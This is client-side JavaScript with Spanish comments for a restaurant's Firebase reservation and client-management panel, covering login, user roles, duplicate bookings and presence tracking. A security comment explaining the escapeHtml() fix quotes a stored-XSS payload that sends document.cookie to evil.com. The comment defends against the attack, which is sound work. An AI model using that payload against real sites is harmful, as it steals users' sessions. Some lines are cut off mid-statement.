```
const firebaseConfig = {
  apiKey: "AIzaSyDJCy93GCOhDySnC_OLo6pcV-wK_pC48_A",
  authDomain: "matriarca-reservas.firebaseapp.com",
  projectId: "matriarca-reservas",
  storageBucket: "matriarca-reservas.firebasestorage.app",
  messagingSenderId: "370240403780",
  appId: "1:370240403780:web:2ccceaf8da9daf37b8bf11"
};
firebase.initializeApp(firebaseConfig);
const db = firebase.firestore();
const auth = firebase.auth();

// Guarda una copia local de la base de datos en el propio celular/
// computador (IndexedDB), para que cada vez que se abra la app NO tenga
// que volver a descargar TODA la historia de reservas desde cero por
// internet — solo lo que cambió desde la última vez. Antes esto no
// estaba activado: cada apertura descargaba absolutamente todo otra vez,
// y entre más meses de uso se acumulan, más lenta se pone esa carga
// inicial (esa era la causa real de la demora y la pantalla negra al
// entrar). `synchronizeTabs` permite tener la app abierta en varias
// pestañas/dispositivos a la vez sin que se bloqueen entre sí.
db.enablePersistence({ synchronizeTabs: true }).catch(err => {
  if(err.code === 'failed-precondition'){
    console.warn('Persistencia offline no se pudo activar (varias pestañas abie
  } else if(err.code === 'unimplemented'){
    console.warn('Este navegador no soporta guardar datos offline — la app sigu
  }
});

// App secundaria SOLO para crear usuarios nuevos sin desconectar la
// sesión actual del administrador. Firebase Auth, al crear una cuenta
// desde el navegador, automáticamente "inicia sesión" con esa cuenta
// nueva en la sesión activa — eso echaría al admin de su propia sesión.
// Usando una segunda instancia de la app, la cuenta se crea ahí y se
// cierra esa sesión secundaria de inmediato, sin tocar la principal.
const authAppSecundaria = firebase.initializeApp(firebaseConfig, 'secundaria');
const authSecundaria = authAppSecundaria.auth();

// Usuario con sesión iniciada ahora mismo: {uid, email, nombre, iniciales}.
// Se llena tras el login, leyendo su perfil en la colección "usuarios".
// Todas las reservas que cree o edite quedan marcadas con sus iniciales.
let usuarioActual = null;

// Copia el número de versión de arriba (.version-tag, única fuente del
```

```
  // texto — sigue siendo lo único que hay que editar al subir versión)
  // dentro de la cápsula del encabezado ya logueado, para que se vea como
  // primera línea junto a "GF · Salir" sin duplicar el texto a mano.
  (function(){
    var origen = document.querySelector('.version-tag');
    var destino = document.getElementById('headerVersionLine');
    if(origen && destino) destino.textContent = origen.textContent;
  })();

/* ============ SEGURIDAD: ESCAPE DE HTML ============ */
// Los campos "nombre", "obs" y "celular" pueden llegar de solicitud.html,
// una página PÚBLICA sin autenticación. Cualquier persona puede escribir
// ahí lo que quiera, incluyendo HTML/JavaScript malicioso. Como este panel
// insertaba esos campos con innerHTML sin escapar, quedaba abierta una
// vulnerabilidad de XSS almacenado: un texto como
// <img src=x onerror="fetch('https://evil.com?c='+document.cookie)">
// en el campo "Nombre" se ejecutaría en el navegador del restaurante en
// cuanto abriera esta pantalla, con acceso completo a la sesión de
// Firestore (leer/editar/borrar TODAS las reservas). escapeHtml() convierte
// los caracteres especiales de HTML en entidades seguras antes de
// insertarlos en el DOM.
// Separadores de miles al escribir un valor en pesos — el campo guarda
// el texto con puntos (ej. "1.700.000") para que sea fácil de leer, y
// numCampo() lo vuelve a convertir en número quitando los puntos cuando
// hace falta calcular con él.
function soloDigitos(v){ return String(v||'').replace(/[^0-9]/g,''); }
function numCampo(id){ return Number(soloDigitos(document.getElementById(id).valu
function formatearMilesInput(el){
  const digits = soloDigitos(el.value);
  el.value = digits ? Number(digits).toLocaleString('es-CO') : '';
}
// Decide si el texto sobre un color de fondo debe ser blanco o negro,
// según qué tan oscuro se vea ese color EN LA PANTALLA — no el color de
// zona tal cual, sino ya oscurecido por la sombra de "mesa ocupada"
// (ver oscurecer/rgba(0,0,0,0.32) en buildZoneGridPlano), para que
// coincida con lo que el ojo realmente ve, no con el color original.
function colorTextoContraste(hex, oscurecidoPorOcupada){
  const limpio = (hex||'').replace('#','');
  if(limpio.length !== 6) return '#0c2417';
  const factor = oscurecidoPorOcupada ? 0.68 : 1; // 1 - 0.32 de la sombra
  const r = parseInt(limpio.slice(0,2),16) * factor;
  const g = parseInt(limpio.slice(2,4),16) * factor;
  const b = parseInt(limpio.slice(4,6),16) * factor;
  const luminancia = (0.299*r + 0.587*g + 0.114*b) / 255;
  return luminancia > 0.55 ? '#0c1a12' : '#ffffff';
}
// Bloques decorativos (Tarima, Entrada, Barra, Cava de Amanecida...) — si
```

```
// tienen una rotación guardada (como el ángulo de Tarima), se respeta tal
// cual. Si no la tienen pero el bloque es angosto y alto, el texto se pone
// en vertical solo — así uno nuevo que se agregue en Salones con esa forma
// no necesita que nadie le configure nada a mano para verse bien. Y, para
// no depender de que ese cálculo por proporción adivine bien, "Cava de
// Amanecida" puntualmente siempre queda vertical — se reconoce por su
// propio texto, sin importar qué ancho/alto tenga guardado.
function estiloTextoZoneblock(b){
  const textoNorm = (b.texto||'').trim().toUpperCase();
  const esCavaAmanecida = textoNorm.includes('CAVA') && textoNorm.includes('AMANE
  if(esCavaAmanecida) return 'writing-mode:vertical-rl; letter-spacing:1px;';
  if(b.rotacion) return `transform:rotate(${b.rotacion}deg);`;
  const anchoPx = (Number(b.width)||0) / 100 * 880;
  const altoPx = (Number(b.height)||0) / 100 * 640;
  if(altoPx > anchoPx * 1.15) return 'writing-mode:vertical-rl; letter-spacing:1p
  return '';
}
function escapeHtml(str){
  if(str === undefined || str === null) return '';
  return String(str)
    .replace(/&/g, '&amp;')
    .replace(/</g, '&lt;')
    .replace(/>/g, '&gt;')
    .replace(/"/g, '&quot;')
    .replace(/'/g, '&#039;');
}

/* ============ LOGIN / USUARIOS ============ */
let usuariosCache = [];

function toggleLoginEye(){
  const inp = document.getElementById('loginPass');
  const btn = document.getElementById('loginEyeBtn');
  if(inp.type === 'password'){ inp.type = 'text'; btn.textContent = '🙈'; }
  else { inp.type = 'password'; btn.textContent = '👁'; }
}

// El "usuario" que la persona escribe (ej. "mperez") no es un correo real —
// es solo un nombre corto que Guillermo le asigna. Por dentro, Firebase Auth
// SÍ necesita algo con forma de correo para poder crear la cuenta, así que
// lo armamos nosotros mismos pegándole un dominio inventado que nunca se le
// muestra a nadie ("mperez" -> "mperez@lamatriarca.app"). Quitamos espacios,
// tildes y mayúsculas para que dos personas no puedan chocar por escribir
// su usuario un poco distinto.
function normalizarUsuario(u){
  return (u||'').trim().toLowerCase()
    .normalize('NFD').replace(/[\u0300-\u036f]/g,'') // quita tildes
```

```
    .replace(/[^a-z0-9._-]/g,'');
}

// El código de país ahora lo elige la persona en un select (Colombia por
// defecto) en vez de adivinarlo por la cantidad de dígitos — eso fallaba
// con clientes que tienen WhatsApp de otro país usándolo por wifi en
// Colombia (su número no queda en 10 dígitos, y antes se le pegaba el 57
// igual, dañando el número). Estas dos funciones arman y luego separan el
// celular completo ("+57 3001234567") que se guarda en Firestore.
function armarCelularCompleto(codigo, numeroLocal){
  const local = (numeroLocal||'').replace(/\D/g,'');
  if(!local) return '';
  return `+${codigo||'57'} ${local}`;
}

// ===== Base de datos de clientes: registro automático =====
// Identifica al cliente por su celular normalizado (solo dígitos, sin "+"
// ni espacios) para que "3001234567", "+57 3001234567" y "573001234567"
// cuenten como LA MISMA persona y no se dupliquen — sea que la reserva
// haya entrado por la web (solicitud.html) o se haya tomado acá por
// teléfono/presencial.
function normalizarTelefono(celularCompleto){
  return (celularCompleto||'').replace(/\D/g,'');
}
// ===== Detección de solicitudes/reservas duplicadas =====
// Antes de guardar (y también apenas se escribe el celular, para avisar
// de una vez), revisa si YA existe otra reserva (venga de solicitud.html
// por WhatsApp/web, o cargada acá por teléfono/presencial) para el MISMO
// cliente (celular normalizado), en la MISMA fecha Y el MISMO turno, y que
// no esté cancelada. Se valida por TURNO (desayuno/almuerzo/cena) y no por
// la hora exacta, porque la misma reserva puede llegar con una hora un
// poco distinta según el canal (ej: el cliente pidió las 7:00pm por
// WhatsApp y el staff toma la llamada y anota las 7:30pm) y aun así es la
// MISMA reserva. Lo que sí distingue reservas de verdad distintas del
// mismo cliente el mismo día es el turno (almuerzo vs. cena, por ejemplo).
function buscarReservaDuplicada(fecha, turno, celularCompleto, excludeId){
  const telNuevo = normalizarTelefono(celularCompleto);
  if(!telNuevo || !fecha || !turno) return null;
  return reservas.find(r =>
    r.id !== excludeId &&
    r.estado !== 'cancelada' &&
    r.fecha === fecha &&
    r.turno === turno &&
    normalizarTelefono(r.celular) === telNuevo
  ) || null;
}
function mensajeReservaDuplicada(r){
```

```
  return `⚠️ Este cliente ya tiene una reserva registrada para la fecha y hora se
}
// En cuanto el staff termina de escribir/pegar el celular (al salir del
// campo), se busca si ese cliente ya existe en la base de datos. Si sí,
// se completan nombre/correo/cumpleaños automáticamente — pero SOLO los
// campos que estén vacíos en ese momento, para no pisar algo que ya se
// haya escrito a mano (por ejemplo, al editar una reserva ya cargada).
// En el mismo momento, también se avisa de una vez (sin esperar a que
// guarde) si ese celular ya tiene otra reserva activa para esta fecha y
// turno — así el staff se entera apenas empieza a cargar los datos, no
// hasta el final cuando ya llenó todo el formulario.
function buscarClienteExistente(){
  const celularLocal = document.getElementById('fCelular').value.trim().replace(/
  if(celularLocal.length < 7){ revisarDuplicadoEnModalTelefono(); return; }
  const celularCod = document.getElementById('fCelularCod').value;
  const tel = normalizarTelefono(`+${celularCod} ${celularLocal}`);
  const aviso = document.getElementById('clienteReconocidoAviso');
  revisarDuplicadoEnModalTelefono();
  clientesRef.doc(tel).get().then(doc => {
    if(!doc.exists){ if(aviso) aviso.style.display = 'none'; return; }
    const data = doc.data() || {};
    const fNombre = document.getElementById('fNombre');
    const fCorreo = document.getElementById('fCorreo');
    const fCumpleanos = document.getElementById('fCumpleanos');
    if(!fNombre.value.trim() && data.nombre) fNombre.value = data.nombre;
    if(!fCorreo.value.trim() && data.correo) fCorreo.value = data.correo;
    if(!fCumpleanos.value && data.cumpleanos) fCumpleanos.value = data.cumpleanos
    if(aviso) aviso.style.display = 'block';
  }).catch(err => console.error('No se pudo buscar el cliente:', err));
}
function upsertCliente(datos){
  const tel = normalizarTelefono(datos.celular);
  if(!tel) return Promise.resolve();
  const hoy = new Date();
  const hoyISO = `${hoy.getFullYear()}-${String(hoy.getMonth()+1).padStart(2,'0')
  const ref = db.collection('clientes').doc(tel);
  return db.runTransaction(t => t.get(ref).then(doc => {
    if(doc.exists){
      const data = doc.data() || {};
      const update = {
        nombre: datos.nombre || data.nombre || '',
        telefono: datos.celular || data.telefono || '',
        fechaUltimaSolicitud: hoyISO,
        cantidadSolicitudes: (Number(data.cantidadSolicitudes)||0) + 1,
        estadoUltimaSolicitud: datos.estado || data.estadoUltimaSolicitud || ''
      };
      // El correo y el cumpleaños solo se actualizan si esta vez sí los
```

```
      // dieron — si el cliente ya los tenía guardados de una gestión
      // anterior y esta vez quedaron en blanco, no se borran.
      if(datos.correo) update.correo = datos.correo;
      if(datos.cumpleanos) update.cumpleanos = datos.cumpleanos;
      t.update(ref, update);
    } else {
      t.set(ref, {
        nombre: datos.nombre || '',
        telefono: datos.celular || '',
        correo: datos.correo || '',
        cumpleanos: datos.cumpleanos || '',
        fechaCreacion: hoyISO,
        fechaPrimeraSolicitud: hoyISO,
        fechaUltimaSolicitud: hoyISO,
        cantidadSolicitudes: 1,
        estadoUltimaSolicitud: datos.estado || ''
      });
    }
  }));
}

// Migración manual, para poblar la base de datos de clientes con TODO lo
// que ya existía en "reservas" antes de que esta sección existiera — sin
// esto, esos clientes viejos nunca aparecerían porque el registro
// automático solo corre en reservas NUEVAS a partir de ahora. Reconstruye
// nombre/teléfono/fechas/cantidad desde cero (es el conteo real y
// completo de las reservas guardadas), pero nunca toca correo ni
// cumpleaños si el cliente ya los tenía guardados — esos dos solo se
// pueden llenar por la vía normal (reservando y dándolos).
async function migrarClientesDesdeReservas(){
  if(!confirm('Esto va a recorrer TODAS las reservas guardadas y construir/actual

  const btn = document.getElementById('btnMigrarClientes');
  const textoOriginal = btn ? btn.textContent : '';
  if(btn){ btn.disabled = true; btn.textContent = 'Procesando…'; }

  try{
    // Agrupa TODAS las reservas guardadas por teléfono normalizado —
    // ignora las que no tengan celular o nombre (no hay con qué armar
    // el cliente).
    const grupos = new Map();
    reservas.forEach(r => {
      const tel = normalizarTelefono(r.celular);
      if(!tel || !r.nombre) return;
      const fecha = r.fechaSolicitud || r.fecha || '';
      if(!grupos.has(tel)) grupos.set(tel, []);
      grupos.get(tel).push({ nombre: r.nombre, celular: r.celular, fecha, estado:
```

```
    });

    let creados = 0, actualizados = 0;
    for(const [tel, lista] of grupos.entries()){
      lista.sort((a,b) => (a.fecha||'').localeCompare(b.fecha||''));
      const primera = lista[0];
      const ultima = lista[lista.length-1];
      const ref = clientesRef.doc(tel);
      const doc = await ref.get();
      const previo = doc.exists ? (doc.data()||{}) : null;
      const calc = {
        nombre: ultima.nombre || (previo && previo.nombre) || '',
        telefono: ultima.celular || (previo && previo.telefono) || '',
        fechaPrimeraSolicitud: primera.fecha || (previo && previo.fechaPrimeraSol
        fechaUltimaSolicitud: ultima.fecha || (previo && previo.fechaUltimaSolici
        cantidadSolicitudes: lista.length,
        estadoUltimaSolicitud: ultima.estado || ''
      };
      if(previo){
        await ref.update(calc);
        actualizados++;
      } else {
        await ref.set({
          ...calc,
          correo: '',
          cumpleanos: '',
          fechaCreacion: primera.fecha || fechaISO(new Date())
        });
        creados++;
      }
    }
    alert(`Listo. Se encontraron ${grupos.size} teléfonos distintos en las reserv
  } catch(err){
    console.error('Error migrando clientes:', err);
    alert('Ocurrió un error durante la migración. Revisa tu conexión e intenta de
  } finally {
    if(btn){ btn.disabled = false; btn.textContent = textoOriginal; }
  }
}


// el código de país del número local. Los celulares guardados ANTES de
// este cambio no tienen "+" al inicio — a esos se les asume 57 (Colombia),
// que era la única opción que existía hasta ahora, para no perder el dato.
function partirCelularGuardado(celular){
  const texto = (celular||'').trim();
  const match = texto.match(/^\+(\d{1,4})\s*(.*)$/);
```

```
  if(match){
    return { codigo: match[1], numero: match[2].replace(/\D/g,'') };
  }
  return { codigo: '57', numero: texto.replace(/\D/g,'') };
}

// Convierte el celular completo (código de país + número, ya elegidos por
// la persona) en los dígitos que WhatsApp necesita. Ya no asume ningún
// país — solo valida que haya un mínimo razonable de dígitos, para avisar
// ANTES de abrir WhatsApp si el número quedó incompleto, en vez de mandar
// un link roto que solo lleva a la página genérica de descarga (así se
// veía el error: WhatsApp no encuentra a quién abrirle el chat).
function digitosWhatsapp(celularCompleto){
  const digitos = (celularCompleto||'').replace(/\D/g,'');
  if(digitos.length < 8 || digitos.length > 15) return null;
  return digitos;
}

// Al abrir un link de WhatsApp poco después de haber abierto otro (por
// ejemplo, dos envíos seguidos a números distintos), el iPhone a veces
// solo trae al frente la conversación que ya tenía abierta en vez de
// abrir la del número nuevo — es una falla conocida de Safari/iOS con
// links "wa.me" repetidos. Abrir cada vez con un nombre de ventana ÚNICO
// obliga a que sea una navegación nueva de verdad, no una pestaña
// reutilizada, así que siempre abre al número correcto.
function abrirWhatsappForzado(url, ev){
  if(ev) ev.preventDefault();
  if(!url || url === '#') return false;
  window.open(url, '_blank_wa_' + Date.now());
  return false;
}

// Botones de contacto directo en cada tarjeta de reserva/solicitud —
// llamar, WhatsApp y correo — para que el staff nunca tenga que copiar
// el número o el correo a mano: toca el ícono y el celular ya abre el
// marcador, WhatsApp o el correo listos para escribirle a ESE cliente.
function botonesContactoHTML(r){
  const digitos = r.celular ? digitosWhatsapp(r.celular) : null;
  let html = '';
  if(digitos){
    html += `<a class="contacto-icon-btn contacto-llamar" href="tel:${digitos}" o
    html += `<a class="contacto-icon-btn contacto-whatsapp" href="https://wa.me/$
  }
  if(r.correo){
    html += `<a class="contacto-icon-btn contacto-email" href="mailto:${escapeHtm
  }
  return html;
```

```
}
// Categoría del cliente según cuántas reservas APROBADAS lleva ese mismo
// número de celular — no cuenta solicitudes sin aprobar ni canceladas,
// solo visitas efectivas (aprobadaPorCliente===true o estado==='confirmada').
// Se calcula directo del arreglo de reservas ya cargado en memoria, con
// su desglose por turno, para poder mostrar el historial al tocarla.
function historialClienteAprobadas(celular){
  const tel = normalizarTelefono(celular);
  const vacio = { total:0, desayuno:0, almuerzo:0, cena:0 };
  if(!tel) return vacio;
  const aprobadas = reservas.filter(r =>
    normalizarTelefono(r.celular) === tel &&
    (r.aprobadaPorCliente === true || r.estado === 'confirmada')
  );
  const h = { total: aprobadas.length, desayuno:0, almuerzo:0, cena:0 };
  aprobadas.forEach(r => { if(h[r.turno] !== undefined) h[r.turno]++; });
  return h;
}
function categoriaClienteHTML(r){
  if(!r.celular) return '';
  const h = historialClienteAprobadas(r.celular);
  let texto, clase;
  if(h.total === 0){ texto = '🆕 Primera vez'; clase = 'nuevo'; }
  else if(h.total <= 5){ texto = 'Categoría A'; clase = 'a'; }
  else if(h.total <= 10){ texto = 'Categoría AA'; clase = 'aa'; }
  else { texto = 'Categoría AAA'; clase = 'aaa'; }
  return `<button type="button" class="categoria-cliente-badge cat-${clase}" oncl
}
// Detalle del historial: cuántas veces ha visitado en total y cómo se
// reparte entre desayuno/almuerzo/cena — para saber de un vistazo qué
// tipo de cliente es, sin ir a buscarlo en la base de clientes.
function mostrarHistorialCliente(celular){
  const h = historialClienteAprobadas(celular);
  if(h.total === 0){
    alert('Este cliente todavía no tiene ninguna reserva aprobada con nosotros —
    return;
  }
  const partes = [];
  if(h.desayuno>0) partes.push(`${h.desayuno} en desayuno`);
  if(h.almuerzo>0) partes.push(`${h.almuerzo} en almuerzo`);
  if(h.cena>0) partes.push(`${h.cena} en cena`);
  const detalle = partes.length ? ` (${partes.join(', ')})` : '';
  alert(`Este cliente te ha visitado ${h.total} ${h.total===1?'vez':'veces'}${det
}

function emailInternoDesdeUsuario(usuario){
  return normalizarUsuario(usuario) + '@lamatriarca.app';
```

```
}

function iniciarSesion(){
  const usuario = normalizarUsuario(document.getElementById('loginUsuario').value
  const pass = document.getElementById('loginPass').value;
  const errEl = document.getElementById('loginError');
  const btn = document.getElementById('loginBtn');
  errEl.style.color = '';
  errEl.textContent = '';
  if(!usuario || !pass){ errEl.textContent = 'Ingresa tu usuario y tu contraseña.
  btn.disabled = true; btn.textContent = 'Entrando…';
  auth.signInWithEmailAndPassword(emailInternoDesdeUsuario(usuario), pass).catch(
    console.error('Error de login:', err);
    errEl.textContent = 'Usuario o contraseña incorrectos.';
  }).finally(() => {
    btn.disabled = false; btn.textContent = 'Iniciar sesión';
  });
}

// Mientras no haya ningún usuario creado todavía (primera vez que se instala
// la app), mostramos un acceso especial en la pantalla de login para crear
// el primer usuario administrador — después de eso, ya no vuelve a salir.
function revisarBootstrapPrimerUsuario(){
  db.collection('usuarios').limit(1).get().then(snap => {
    document.getElementById('loginBootstrapBtn').style.display = snap.empty ? 'bl
  }).catch(() => {});
}

// ===== NIVELES DE ACCESO =====
// Aplica lo que cada nivel puede ver/tocar, apenas se sabe quién inició
// sesión. "admin" ve todo tal cual siempre existió. "operativo" pierde la
// pestaña Config (y con ella crear usuarios, mensajes, zona de peligro) y
// también pierde Salones, que ahora es exclusivo del administrador.
// "consulta" además pierde el botón de Nueva reserva, y queda en modo
// solo-lectura sobre las reservas (ver detalle, no editar/borrar/enviar).
function actualizarBannerEventoPromotor(){
  const bannerEvento = document.getElementById('eventoPromotorBanner');
  if(!bannerEvento) return;
  const esPromotorConEvento = usuarioActual && usuarioActual.rol === 'promotor' &
  if(!esPromotorConEvento){ bannerEvento.style.display = 'none'; return; }
  const evCompleto = eventosCache.find(e => e.id === usuarioActual.eventoAsignado
  const imagenEv = evCompleto ? evCompleto.imagen : null;
  const imgEl = document.getElementById('eventoPromotorBannerImg');
  if(imagenEv){ imgEl.src = imagenEv; imgEl.style.display = 'block'; }
  else { imgEl.style.display = 'none'; }
  document.getElementById('eventoPromotorBannerTexto').textContent =
    `🎤 ${usuarioActual.eventoAsignado.nombre} — ${usuarioActual.eventoAsignado.f
```

```
  bannerEvento.style.display = 'block';
}
function aplicarRestriccionesRol(){
  if(!usuarioActual) return;
  const rol = usuarioActual.rol || 'admin';
  document.body.classList.remove('rol-operativo', 'rol-consulta', 'rol-host');
  const btnConfig = document.getElementById('toggleConfig');
  const btnSalones = document.getElementById('toggleSalones');
  const btnNueva = document.getElementById('btnNuevaReservaHeader');
  // "Consulta" es el nivel más restringido: solo puede VER las reservas
  // ya aprobadas en "Por día" (calendario, lista, plano, resumen) — nada
  // de Solicitudes (pendientes por gestionar/aprobar), nada de Salones,
  // nada de Config, y tampoco puede bloquear un día. Los formularios
  // dentro de una reserva ya quedaban en solo-lectura desde antes
  // (aplicarModoConsultaEnModal) — esto es lo que le cierra el resto de
  // la navegación alrededor.
  const btnSolicitudesTab = document.getElementById('toggleSolicitudes');
  const btnBloquearDia = document.getElementById('btnBloquearDia');

  if(btnConfig) btnConfig.style.display = (rol === 'admin') ? '' : 'none';
  if(btnSalones) btnSalones.style.display = (rol === 'admin') ? '' : 'none';
  if(rol === 'consulta'){
    document.body.classList.add('rol-consulta');
    if(btnNueva) btnNueva.style.display = 'none';
    if(btnSolicitudesTab) btnSolicitudesTab.style.display = 'none';
    if(btnBloquearDia) btnBloquearDia.style.display = 'none';
  } else {
    if(btnNueva) btnNueva.style.display = '';
    if(btnSolicitudesTab) btnSolicitudesTab.style.display = '';
    if(btnBloquearDia) btnBloquearDia.style.display = '';
    if(rol === 'operativo') document.body.classList.add('rol-operativo');
  }
  // v6.43 — Módulo Host: lo ven Administrador, Operativo y Host. El nivel
  // Host SOLO ve esa pantalla (sin Solicitudes, Por día, ni crear reservas).
  const btnHostNav = document.getElementById('toggleHost');
  const btnPorDiaNav = document.getElementById('togglePorDia');
  if(btnHostNav) btnHostNav.style.display = (rol === 'admin' || rol === 'operativ
  // v6.49 — Registro de clientes: todos los niveles menos promotor.
  const btnRegNav = document.getElementById('toggleRegistro');
  if(btnRegNav) btnRegNav.style.display = (rol === 'promotor') ? 'none' : '';
  if(rol === 'host'){
    document.body.classList.add('rol-host');
    if(btnNueva) btnNueva.style.display = 'none';
    if(btnSolicitudesTab) btnSolicitudesTab.style.display = 'none';
    if(btnPorDiaNav) btnPorDiaNav.style.display = 'none';
    if(btnBloquearDia) btnBloquearDia.style.display = 'none';
  } else if(btnPorDiaNav){
```

```
    btnPorDiaNav.style.display = '';
  }
  // Un "Promotor de eventos" solo tiene datos de UN día en todo el
  // sistema (ver recalcularReservasVisibles) — si "Por día" arrancara en
  // "hoy" como para cualquier otro usuario, muy probablemente le
  // mostraría un calendario vacío. Se salta directo a la fecha de su
  // evento para que lo primero que vea ya tenga sus reservas.
  if(rol === 'promotor' && usuarioActual.eventoAsignado && usuarioActual.eventoAs
    const [y,m,d] = usuarioActual.eventoAsignado.fecha.split('-').map(Number);
    fechaActual = new Date(y, m-1, d);
    if(usuarioActual.eventoAsignado.turno) turnoActivo = usuarioActual.eventoAsig
    if(typeof calInlineMes !== 'undefined'){ calInlineMes = fechaActual.getMonth(
    if(typeof fechaSolicitudes !== 'undefined') fechaSolicitudes = new Date(fecha
    if(typeof renderAll === 'function') renderAll();
  }
  // El promotor solo trabaja UN evento — se le pone el afiche arriba de
  // las pestañas para que quede clarísimo para cuál show está cargando
  // solicitudes y reservas. eventosCache ya trae la imagen guardada al
  // crear el evento (la misma que se sube a eventos.html).
  actualizarBannerEventoPromotor();
  // Sin flechas de "otro día" ni calendario para navegar — el promotor
  // solo puede trabajar la fecha de su evento, sin manera de moverse.
  const esPromotorNav = rol === 'promotor';
  ['btnDiaAnteriorPD','btnDiaSiguientePD','btnMesAnteriorPD','btnMesSiguientePD']
    const btn = document.getElementById(id);
    if(btn) btn.style.visibility = esPromotorNav ? 'hidden' : 'visible';
  });
  const calWrap = document.getElementById('calendarioInlineWrap');
  if(calWrap) calWrap.style.display = esPromotorNav ? 'none' : '';
  // Si por algo la pestaña activa en este momento es una que este nivel ya
  // no puede ver (por ejemplo quedó en Config o Salones y le bajaron el
  // nivel), lo mandamos a una pantalla que sí pueda ver, en vez de
  // dejarlo colgado. Para "consulta" eso es "Por día" — nunca Solicitudes,
  // que es justo lo que este nivel no debe ver — incluyendo el arranque
  // normal de la app, que siempre abre en Solicitudes por defecto antes
  // de saber qué rol inició sesión.
  if(vistaApp === 'config' && rol !== 'admin'){
    cambiarVistaApp('solicitudes');
  } else if(vistaApp === 'salones' && rol !== 'admin'){
    cambiarVistaApp('solicitudes');
  } else if(vistaApp === 'solicitudes' && rol === 'consulta'){
    cambiarVistaApp('porDia');
  }
  if(rol === 'host' && vistaApp !== 'host' && vistaApp !== 'registro') cambiarVis
  if(vistaApp === 'registro' && rol === 'promotor') cambiarVistaApp('solicitudes'
  if(vistaApp === 'host' && (rol === 'consulta' || rol === 'promotor')) cambiarVi
}
```

```
auth.onAuthStateChanged(user => {
  // El "authSplash" (pantalla negra neutra) se quita apenas Firebase
  // responde por primera vez, sea cual sea la respuesta — así nunca se
  // llega a mostrar el login de más, evitando el parpadeo.
  const splash = document.getElementById('authSplash');
  if(splash) splash.remove();
  if(user){
    db.collection('usuarios').doc(user.uid).get().then(doc => {
      const perfil = doc.exists ? doc.data() : {};
      // Si el documento no existe (usuario eliminado desde Config) lo
      // tratamos igual que a un desactivado: bloqueado. Antes, un
      // documento faltante caía al mismo "admin por defecto" que usan las
      // cuentas viejas sin campo rol, lo cual dejaba a un usuario eliminado
      // con acceso total — este chequeo lo cierra.
      if(!doc.exists || perfil.activo === false){
        alert('Este usuario fue desactivado. Contacta a un administrador.');
        auth.signOut();
        return;
      }
      usuarioActual = {
        uid: user.uid,
        usuario: perfil.usuario || '',
        nombre: perfil.nombre || perfil.usuario || user.email,
        iniciales: perfil.iniciales || (perfil.usuario||'??').slice(0,2).toUpperC
        // Cuentas creadas antes de que existieran los niveles no tienen
        // campo "rol" guardado — a esas las tratamos como admin, para no
        // dejar a nadie fuera de golpe con esta actualización.
        rol: perfil.rol || 'admin',
        // Solo aplica cuando rol === 'promotor': a qué evento específico
        // queda amarrado — se guardó tal cual (fecha/turno/nombre) al
        // crear o editar este usuario, no se vuelve a calcular aquí.
        eventoAsignado: perfil.eventoAsignado || null,
        // Igual que con el rol: si el campo no existe (cuentas de antes de
        // que existiera esta opción), se trata como activado por defecto.
        sonidoAvisoActivo: perfil.sonidoAvisoActivo !== false,
      };
      document.getElementById('loginScreen').style.display = 'none';
      document.getElementById('appRoot').style.display = 'flex';
      // La versión ya se ve dentro de la cápsula del encabezado (arriba,
      // junto a "GF · Salir") una vez adentro de la app — se oculta la
      // etiqueta flotante de la esquina para que no se monte encima.
      const vTagLogin = document.querySelector('.version-tag');
      if(vTagLogin) vTagLogin.style.display = 'none';
      const miIniciales = document.getElementById('miIniciales');
      if(miIniciales) miIniciales.textContent = usuarioActual.iniciales + ' · ';
      document.getElementById('loginUsuario').value = '';
```

```
      document.getElementById('loginPass').value = '';
      document.getElementById('loginError').textContent = '';
      aplicarRestriccionesRol();
      // Recién ahora se sabe el rol de quien inició sesión — por eso el
      // listener de reservas arranca aquí y no antes: si arrancara al
      // cargar el script (como antes), un Promotor recibiría de entrada
      // TODA la colección sin filtrar, antes de que hubiera forma de saber
      // que había que limitarla a su evento.
      iniciarListenerReservas();
      recalcularReservasVisibles();
      renderAll();
      cargarUsuariosConfig();
      cargarCarruselConfig();
      cargarEventosConfig();
      cargarBajaDatosConfig();
      iniciarPresencia();
    });
  } else {
    usuarioActual = null;
    // Se cierra el listener anterior (si había uno) para no dejarlo colgado
    // esperando datos que ya no debería recibir, y se limpia lo que había
    // en memoria — así, si entra otra persona con otro rol en este mismo
    // navegador, arranca de cero y no arrastra nada de la sesión anterior.
    if(unsubscribeReservas){ unsubscribeReservas(); unsubscribeReservas = null; }
    reservasCrudas = [];
    reservas = [];
    primerCargaReservas = true;
    detenerPresencia();
    document.getElementById('loginScreen').style.display = 'flex';
    document.getElementById('appRoot').style.display = 'none';
    const vTagLogout = document.querySelector('.version-tag');
    if(vTagLogout) vTagLogout.style.display = '';
    revisarBootstrapPrimerUsuario();
  }
});

// ===== USUARIOS EN LÍNEA (visible solo para Administrador) =====
// Cada usuario que tiene sesión abierta va "avisando" cada 25 segundos que
// sigue activo, guardando un registro en Firestore con la hora exacta de
// su último aviso (configuracion/presencia, un documento por persona).
// El administrador escucha ese documento en tiempo real y considera "en
// línea" a cualquiera cuyo último aviso sea de hace menos de 50 segundos —
// así, si alguien cierra la pestaña sin avisar (no hay forma de detectarlo
// al instante en Firestore como sí existe en Realtime Database), en menos
// de un minuto deja de aparecer como conectado en vez de quedarse ahí para
// siempre.
let intervaloPresencia = null;
```

```
let listenerPresenciaAdmin = null;
const INTERVALO_PRESENCIA_MS = 180000; // v6.42: antes 25 s (ahorro de cuota/cost
const VENTANA_EN_LINEA_MS = 240000;

function refPresenciaMia(){
  return db.collection('configuracion').doc('presencia').collection('usuarios').d
}

function avisarPresencia(){
  if(!usuarioActual) return;
  // v6.42: con la pestaña en segundo plano no se escribe (ahorra cuota).
  if(document.visibilityState === 'hidden') return;
  refPresenciaMia().set({
    nombre: usuarioActual.nombre,
    iniciales: usuarioActual.iniciales,
    rol: usuarioActual.rol,
    ultimoAviso: Date.now(),
  }).catch(()=>{});
}

function iniciarPresencia(){
  detenerPresencia();
  avisarPresencia();
  intervaloPresencia = setInterval(avisarPresencia, INTERVALO_PRESENCIA_MS);
  // Si vuelve a la pestaña después de tenerla en segundo plano, avisa de
  // una vez en vez de esperar hasta 25 segundos.
  document.addEventListener('visibilitychange', avisarPresenciaSiVisible);
  // Intento de "avisar que me fui" al cerrar la pestaña o el navegador —
  // no es 100% garantizado (el navegador puede cerrarse de golpe sin dar
  // tiempo), pero ayuda a que desaparezca más rápido en los casos normales.
  window.addEventListener('pagehide', intentarBorrarPresenciaAlSalir);

  if(usuarioActual.rol === 'admin') iniciarEscuchaPresenciaAdmin();
}

